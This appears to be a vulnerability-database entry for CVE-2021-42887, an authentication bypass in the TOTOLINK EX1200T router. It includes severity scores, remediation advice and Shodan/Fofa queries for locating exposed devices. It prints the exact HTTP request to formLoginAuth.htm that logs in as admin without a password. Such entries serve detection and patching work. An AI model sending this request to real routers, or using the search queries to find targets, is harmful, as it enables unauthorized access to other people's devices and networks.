| Title | TOTOLINK EX1200T 4.1.2cu.5215 - Authentication Bypass |
|---|---|
| Author | gy741 |
| Severity | Critical |
| Impact | An attacker can exploit this vulnerability to gain unauthorized access to the device, potentially leading to further compromise of the network. |
| Remediation | Apply the latest firmware update provided by TOTOLINK to fix the authentication bypass vulnerability. |
| CVSS Score | 9.8 |
| EPSS Score | 0.61314 |
| CVE ID | CVE-2021-42887 |
| CWE ID | CWE-287 |
| Shodan Query | title:"TOTOLINK"http.title:"totolink" |
| Fofa Query | title="totolink" |
| Tags | cve2021 cve totolink auth-bypass router vuln |
TOTOLINK EX1200T 4.1.2cu.5215 is susceptible to authentication bypass. An attacker can bypass login by sending a specific request through formLoginAuth.htm, thus potentially being able to obtain sensitive information, modify data, and/or execute unauthorized operations.
GET /login.htm HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Windows NT 10.0, Win64, x64, rv:139.0) Gecko/20100101 Firefox/139.0
Connection: close
Accept-Encoding: gzip
GET /formLoginAuth.htm?authCode=1&userName=admin&goURL&action=login HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:52.0) Gecko/20100101 Firefox/52.0
Connection: close
Accept-Encoding: gzip
🔗 Nuclei Template: https://github.com/packetinside/nuclei-templates/blob/main/http/cves/2021/CVE-2021-42887.yaml
🦈 Packet Capture: ⬇️ Download cve-2021-42887.pcap
N/AN/A